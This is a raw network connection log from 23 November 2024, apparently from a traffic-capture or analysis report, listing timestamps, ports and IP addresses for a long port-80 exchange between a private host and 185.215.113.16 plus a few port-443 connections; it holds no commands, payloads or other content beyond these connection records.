Nov 23, 2024 15:22:25.093404055 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.093478918 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.093528986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.094383001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.094438076 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.094485998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.094537020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.095452070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.095506907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.095575094 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.095627069 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.096476078 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.096524000 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.096604109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.096656084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.097528934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.097587109 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.097665071 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.097716093 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.098495007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.098541975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.098592997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.098642111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.099493027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.099553108 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.099594116 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.099637032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.100553036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.100632906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.100713968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.101577997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.101627111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.101641893 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.102046967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.102562904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.102691889 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.102740049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.103604078 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.103744030 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.103804111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.104640007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.104763985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.104835033 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.105639935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.105792999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.253076077 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.253138065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.253160954 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.253189087 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.253452063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.253506899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.253545046 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.253588915 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.254502058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.254549980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.254610062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.254657030 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.255527020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.255579948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.255625963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.255672932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.256552935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.256601095 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.256633043 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.256679058 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.257664919 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.257761002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.257824898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.258585930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.258708000 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.258766890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.259773016 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.259927034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.260750055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.260797024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.260819912 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.260847092 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.261804104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.261914968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.262887001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.262938023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.262953043 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.263782024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.263827085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.264256001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.264305115 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.264774084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.264950991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.265000105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.265839100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.265945911 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.265999079 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.266871929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.266954899 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.267002106 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.267905951 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.267998934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.268904924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.268954039 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.269035101 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.269937992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.269996881 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.270035982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.270963907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.271017075 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.271042109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.271783113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.272048950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.272228956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.272279978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.273026943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.273389101 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.274079084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.274147034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.274188995 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.275154114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.275197029 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.275207043 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.275790930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.276180029 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.276541948 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.276597023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.277120113 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.277200937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.277252913 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.278135061 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.278193951 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.278238058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.278285027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.279195070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.279247046 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.279289961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.279345036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.280240059 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.280291080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.280330896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.280375004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.281250954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.281300068 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.281338930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.281387091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.282253981 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.282299995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.282335997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.282383919 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.283413887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.283441067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.283463955 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.283499956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.284298897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.284353971 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.284396887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.284504890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.285358906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.285406113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.285445929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.285496950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.286367893 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.286416054 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.286463976 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.286509991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.287396908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.287446022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.287475109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.287518978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.288528919 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.288589001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.288615942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.288664103 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.289686918 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.289736032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.289769888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.289813995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.290837049 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.290887117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.290927887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.290976048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.291570902 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.291615963 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.291651964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.291698933 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.292543888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.292593956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.292615891 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.292671919 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.293601990 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.293652058 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.293677092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.293723106 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.294635057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.294684887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.294754028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.294810057 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.295870066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.295922995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.296016932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.296065092 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.296802044 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.296849966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.296875954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.296922922 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.297696114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.297746897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.297785044 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.297832966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.298726082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.298789024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.298811913 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.298856974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.299736023 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.299787998 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.299906969 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.299952984 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.300771952 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.300822020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.300874949 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.300925016 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.301816940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.301865101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.301909924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.301959991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.302869081 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.302918911 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.303050041 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.303096056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.303898096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.303967953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.304008961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.304058075 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.305032015 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.305083036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.305114985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.305192947 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.305928946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.305980921 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.306016922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.306062937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.306968927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.307013988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.423088074 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.423491001 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.423506021 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.423953056 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.423959017 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.454960108 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.455354929 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.455394983 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.455857992 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:25.455873013 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:25.464214087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.464288950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.464308023 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.464370012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.464653969 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.464730024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.464899063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.465091944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.465143919 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.465934992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.466000080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.466001034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.466089964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.466943979 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.467011929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.467062950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.467113018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.468039989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.468111992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.468183041 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.469027042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.469095945 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.469142914 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.469193935 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.470055103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.470093012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.470124006 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.470139027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.471052885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.471200943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.471271038 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.472100973 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.472160101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.472196102 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.472244024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.473133087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.473202944 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.473237038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.473292112 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.474154949 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.474278927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.474365950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.475178957 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.475228071 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.475287914 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.475332975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.476265907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.476315022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.476342916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.476492882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.477236032 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.477284908 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.477462053 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.477502108 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.478262901 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.478313923 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.478368998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.478437901 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.479327917 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.479393005 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.479422092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.479775906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.480351925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.480479002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.480525017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.481404066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.481518030 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.481569052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.482378006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.482498884 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.482552052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.483395100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.483562946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.483616114 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.484421968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.484589100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.485481024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.485542059 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.485579014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.486509085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.486565113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.486607075 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.486716986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.487518072 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.487592936 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.487651110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.488554955 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.488600016 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.488660097 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.488703966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.489573002 CET	80	49795	185.215.113.16	192.168.2.4
